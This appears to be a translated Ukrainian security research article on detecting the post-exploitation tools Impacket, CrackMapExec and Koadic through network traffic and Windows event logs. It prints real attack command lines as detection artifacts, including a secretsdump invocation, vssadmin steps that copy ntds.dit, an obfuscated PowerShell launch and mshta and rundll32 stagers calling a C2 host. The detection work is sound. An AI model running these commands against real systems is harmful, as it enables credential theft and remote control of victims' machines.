З кожним роком зростає кількість атак у корпоративному секторі: наприклад
Ці інструменти використовуються не для первинного проникнення, а для розвитку атаки всередині інфраструктури. Зловмисники використовують їх у різних стадіях атаки, наступних після подолання периметра. Це, до речі, складно детектується і часто лише за допомогою технологій
Що нам потрібно було зробити:
- Зрозуміти, як працює інструментарій хакерів. Дізнатися, що необхідно атакуючим для експлуатації та якими технологіями вони можуть скористатися.
- Знайти те, що не детектується засобами інформаційної безпеки на перших стадіях атаки. Стадія розвідки може бути пропущена, або тому, що атакуючим виступає внутрішній зловмисник, або тому, що атакуючий користується проломом в інфраструктурі, про яку не було відомо раніше. З'являється можливість відновити весь ланцюжок його дій, звідси виникає бажання виявляти подальше пересування.
- Усунути неправдиві спрацьовування засобів виявлення вторгнень. Не можна забувати і про те, що при виявленні тих чи інших дій на основі однієї лише розвідки можливі часті помилки. Зазвичай в інфраструктурі існує достатня кількість способів, які не відрізняються від легітимних на перший погляд, отримати будь-яку інформацію.
Що ж дають атакуючим ці інструменти? Якщо це Impacket, то зловмисники одержують велику бібліотеку модулів, які можна використовувати на різних стадіях атаки, наступних після подолання периметра. Багато інструментів використовують модулі Impacket у себе всередині – наприклад, Metasploit. У ньому є dcomexec і wmiexec для віддаленого виконання команд, secretsdump для отримання облікових записів з пам'яті, які додані з Impacket. Через війну правильне виявлення активності такий бібліотеки забезпечить виявлення похідних.
Про CrackMapExec (або просто CME) творці невипадково написали Powered by Impacket. Крім того, CME має готову функціональність для популярних сценаріїв: це і Mimikatz для отримання паролів або їх хешей, і впровадження Meterpreter або Empire agent для віддаленого виконання, і Bloodhound на борту.
Третій вибраний нами інструмент – Koadic. Він досить свіжий, був представлений на міжнародній конференції Хакера DEFCON 25 в 2017 році і відрізняється нестандартним підходом: роботою через HTTP, Java Script і Microsoft Visual Basic Script (VBS). Такий підхід називають living off the land: інструмент користується набором залежностей та бібліотек, вбудованих у Windows. Автори називають його COM Сommand & Сontrol, або С3.
IMPACKET
Функціональність Impacket дуже широка, починаючи від розвідки всередині AD і збору даних із внутрішніх серверів MS SQL, закінчуючи техніками для отримання облікових даних: це і атака SMB relay, і отримання з контролера домену ntds.dit файлу, що містить хеші паролів користувачів. Також Impacket віддалено виконує команди, використовуючи чотири різні способи: через WMI, сервіс для управління планувальником Windows, DCOM та SMB, і для цього йому потрібні облікові дані.
Secretsdump
Давайте розглянемо secretsdump. Це модуль, метою якого може бути як машини користувачів, і контролери домену. З його допомогою можна отримати копії областей пам'яті LSA, SAM, SECURITY, NTDS.dit, тому його можна побачити на різних стадіях атаки. Першим кроком у роботі модуля є автентифікація через SMB, для якої необхідний пароль користувача, або його хеш для автоматичного проведення атаки Pass the Hash. Далі йде запит на відкриття доступу до Service Control Manager (SCM) і отримання доступу до реєстру за протоколом winreg, використовуючи який атакуючий може дізнатися дані гілок, що цікавлять його, і отримати результати через SMB.
На рис. 1 ми бачимо, як саме під час використання протоколу winreg відбувається отримання доступу за ключом реєстру з LSA. Для цього використовується команда DCERPC із opcode 15 — OpenKey.
Мал. 1. Відкриття ключа реєстру за протоколом winreg
Далі, коли доступ по ключу отримано, відбувається збереження значень командою SaveKey із opcode 20. Impacket робить це дуже специфічно. Він зберігає значення файлу, ім'я якого — це рядок з 8 випадкових символів з додаванням .tmp. Крім того, подальше вивантаження цього файлу відбувається через SMB із директорії System32 (рис. 2).
Мал. 2. Схема отримання ключа реєстру з віддаленої машини
Виходить, виявити подібну активність у мережі можна за запитами до певних гілок реєстру за протоколом winreg, специфічними іменами, командами та їх порядком.
Також цей модуль залишає сліди в журналі подій Windows, завдяки яким легко виявляється. Наприклад, у результаті виконання команди
secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC
у журналі Windows Server 2016 побачимо наступну ключову послідовність подій:
1. 4624 - віддалений Logon.
2. 5145 – перевірка прав доступу до віддаленого сервісу winreg.
3. 5145 - перевірка прав доступу до файлу в директорії System32. Файл має довільне ім'я, згадане вище.
4. 4688 - створення процесу cmd.exe, який запускає vssadmin:
“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat
5. 4688 - створення процесу з командою:
"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat
6. 4688 - створення процесу з командою:
"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat
7. 4688 - створення процесу з командою:
"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat
Smbexec
Як і у багатьох інструментів для постексплуатації, Impacket має модулі для віддаленого виконання команд. Ми зупинимося на smbexec, що дає інтерактивну командну оболонку на віддаленій машині. Для цього модуля також потрібна автентифікація через SMB або паролем або його хеш. На рис. 3 ми бачимо приклад роботи такого інструменту, у разі це консоль локального адміністратора.
Мал. 3. Інтерактивна консоль smbexec
Першим етапом роботи smbexec після автентифікації є відкриття SCM командою OpenSCManagerW(15). Запит примітний: поле MachineName має значення DUMMY.
Мал. 4. Запит на відкриття Service Control Manager
Далі відбувається створення сервісу за допомогою команди CreateServiceW(12). У випадку smbexec ми можемо бачити щоразу однакову логіку побудови команди. На рис. 5 зеленим кольором відзначені незмінні параметри команди, жовтим - те, що атакуючий може змінити. Неважко помітити, що ім'я файлу, його директорію і файл output змінити можна, але що залишилося поміняти куди складніше, не порушуючи логіку роботи модуля Impacket.
Мал. 5. Запит на створення сервісу за допомогою Service Control Manager
Smbexec також залишає явні сліди у журналі подій Windows. У журналі Windows Server 2016 для інтерактивної командної оболонки з командою ipconfig побачимо таку ключову послідовність подій:
1. 4697 - встановлення сервісу на машині жертви:
%COMSPEC% /Q /c echo cd ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat
2. 4688 - створення процесу cmd.exe з аргументами пункту 1.
3. 5145 – перевірка прав доступу до файлу __output у директорії C$.
4. 4697 - встановлення сервісу на машині жертви.
%COMSPEC% /Q /c echo ipconfig ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat
5. 4688 - створення процесу cmd.exe з аргументами пункту 4.
6. 5145 – перевірка прав доступу до файлу __output у директорії C$.
Impacket є основою розробки інструментів для атак. Він підтримує майже всі протоколи в інфраструктурі Windows і при цьому має свої характерні особливості. Тут і конкретні winreg-запити, і використання SCM API з характерним формуванням команд, формат імен файлів, і SMB share SYSTEM32.
CRACKMAPEXEC
Інструмент CME покликаний в першу чергу автоматизувати ті рутинні дії, які доводиться виконувати атакуючій для просування всередині мережі. Він дозволяє працювати у зв'язці з відомими Empire agent і Meterpreter. Щоб виконувати команди потай, CME може їх обфуцювати. Використовуючи Bloodhound (окремий інструмент проведення розвідки), атакуючий може автоматизувати пошук активної сесії доменного адміністратора.
Бладхаунд
Bloodhound як самостійний інструмент дозволяє вести розвинену розвідку всередині мережі. Він збирає дані про користувачів, машини, групи, сесії і поставляється у вигляді скрипта на PowerShell або бінарного файлу. Для збирання інформації використовуються LDAP або протоколи, що базуються на SMB. Інтеграційний модуль CME дозволяє завантажувати Bloodhound на машину жертви, запускати та отримувати зібрані дані після виконання, тим самим автоматизуючи дії в системі та роблячи їх менш помітними. Графічна оболонка Bloodhound представляє зібрані дані у вигляді графів, що дозволяє знайти найкоротший шлях від атакуючого машини до доменного адміністратора.
Мал. 6. Інтерфейс Bloodhound
Для запуску на машині жертви модуль створює завдання, використовуючи ATSVC та SMB. ATSVC є інтерфейсом для роботи з планувальником завдань Windows. CME використовує його функцію NetrJobAdd (1) для створення завдань мережі. Приклад того, що відправляє модуль CME, показано на рис. 7: це виклик команди cmd.exe та обфусцований код у вигляді аргументів у форматі XML.
Рис.7. Створення завдання через CME
Після того, як завдання надійшло на виконання, машина жертви запускає сам Bloodhound, і в трафіку це можна побачити. Для модуля характерні LDAP-запити для отримання стандартних груп, списку всіх машин і користувачів в домені, отримання інформації про активні сеанси користувача через запит SRVSVC NetSessEnum.
Мал. 8. Отримання списку активних сесій через SMB
Крім того, запуск Bloodhound на машині жертви з увімкненим аудитом супроводжується подією з ID 4688 (створення процесу) та ім'ям процесу «C:WindowsSystem32cmd.exe»
. Примітним у ньому є аргументи командного рядка:
cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "
Enum_avproducts
Дуже цікавий з погляду функціональності та реалізації модуль enum_avproducts. WMI дозволяє за допомогою мови запитів WQL отримувати дані різних об'єктів Windows, ніж насправді і користується цей модуль CME. Він генерує запити до класів AntiSpywareProduct та AntiMirusProduct щодо засобів захисту, встановлених на машині жертви. Щоб отримати потрібні дані, модуль виконує підключення до простору імен rootSecurityCenter2, потім формує WQL-запит і отримує відповідь. На рис. 9 показано вміст таких запитів та відповідей. У прикладі знайшовся Windows Defender.
Мал. 9. Мережева активність модуля enum_avproducts
Найчастіше аудит WMI (Trace WMI-Activity), у подіях якого можна знайти корисну інформацію про WQL-запити, може бути вимкненим. Але якщо він увімкнений, то в разі запуску сценарію enum_avproducts збережеться подія з ID 11. У ньому буде вказано ім'я користувача, який надіслав запит, і ім'я у просторі імен rootSecurityCenter2.
У кожного з модулів CME виявилися свої артефакти, чи то специфічні WQL-запити, чи створення певного виду завдання у task scheduler з обфускацією та характерна для Bloodhound активність у LDAP та SMB.
KOADIC
Відмінною особливістю Koadic є використання вбудованих у Windows інтерпретаторів JavaScript та VBScript. У цьому сенсі він слідує тренду living off the land - тобто не має зовнішніх залежностей і користується стандартними засобами Windows. Це інструмент для повноцінного Command & Control (CnC), оскільки після зараження на машину встановлюється імплант, що дозволяє її контролювати. Така машина в термінології Koadic називається «зомбі». При нестачі привілеїв для повноцінної роботи на стороні жертви Koadic може їх підняти, використовуючи техніку обходу контролю облікових записів (UAC bypass).
Мал. 10. Командна оболонка Koadic
Жертва має сама ініціювати спілкування із сервером Command & Control. Для цього їй необхідно звернутися за заздалегідь підготовленим URI та отримати основне тіло Koadic за допомогою одного зі стейджерів. На рис. 11 показаний приклад для стейджера MSHTA.
Мал. 11. Ініціалізація сесії із CnC-сервером
За змінною WS відповіді стає зрозумілим, що виконання відбувається через WScript.Shell, а змінні STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE містять ключову інформацію про параметри поточної сесії. Це перша пара запит-відповідь у HTTP-з'єднанні з CnC-сервером. Наступні запити пов'язані безпосередньо з функціональністю модулів (імплантів), що викликаються. Усі модулі Koadic працюють лише з активною сесією з CnC.
Мімікац
Як CME працює з Bloodhound, Koadic працює з Mimikatz як з окремою програмою і має кілька способів її запуску. Нижче наведена пара запит-відповідь для завантаження імпланту Mimikatz.
Мал. 12. Передача Mimikatz до Koadic
Можна помітити, як змінився формат URI у запиті. У ньому з'явилося значення змінної csrf, яка відповідає за вибраний модуль. Не звертайте увагу на її ім'я; ми знаємо, що під CSRF зазвичай розуміють інше. У відповідь прийшло все те саме основне тіло Koadic, до якого додався код, пов'язаний з Mimikatz. Він досить великий, тож розглянемо ключові моменти. Перед нами закодована в base64 бібліотека Mimikatz, серіалізований .NET-клас, який її інжектуватиме, та аргументи для запуску Mimikatz. Результат виконання передається по мережі у відкритому вигляді.
Мал. 13. Результат виконання Mimikatz на віддаленій машині
Exec_cmd
Koadic також має модулі, здатні віддалено виконувати команди. Тут ми побачимо той самий метод генерації URI і знайомі змінні sid і csrf. У разі модуля exec_cmd до тіла додається код, який здатний виконувати shell-команди. Нижче показаний такий код, що міститься в HTTP-відповіді CnC-сервера.
Мал. 14. Код імпланту exec_cmd
Змінна GAWTUUGCFI із знайомим атрибутом WS необхідна для виконання коду. З її допомогою імплант викликає shell, обробляючи дві гілки коду – shell.exec з поверненням вихідного потоку даних та shell.run без повернення.
Koadic не є типовим інструментом, але має свої артефакти, за якими його можна знайти у легітимному трафіку:
- особливе формування HTTP-запитів,
- використання winHttpRequests API,
- створення об'єкта WScript.Shell через ActiveXObject,
- велике тіло, що виконується.
Спочатку з'єднання ініціює стейджер, тому з'являється можливість виявляти його активність через події Windows. Для mshta це подія 4688, яка говорить про створення процесу з атрибутом запуску:
C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6
Під час виконання Koadic можна побачити інші події 4688 з атрибутами, які відмінно його характеризують:
rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1
Висновки
Тренд living off the land набирає популярності серед зловмисників. Вони використовують вбудовані у Windows інструменти та механізми для своїх потреб. Ми бачимо, як популярні інструменти Koadic, CrackMapExec і Impacket, що наслідують цей принцип, все частіше зустрічаються у звітах про APT. Число форків на GitHub у цих інструментів також зростає, з'являються нові (зараз їх близько тисячі). Тренд набирає популярності через свою простоту: зловмисникам не потрібні сторонні інструменти, вони вже є на машинах жертв і допомагають обходити засоби захисту. Ми зосереджені на вивченні мережевої взаємодії: кожен описаний вище інструмент залишає свої сліди у мережевому трафіку; докладне їх вивчення дозволило нам навчити наш продукт
Автори:
- Антон Тюрін, керівник відділу експертних сервісів, PT Expert Security Center, Positive Technologies
- Єгор Підмоков, експерт, PT Expert Security Center, Positive Technologies
Джерело: habr.com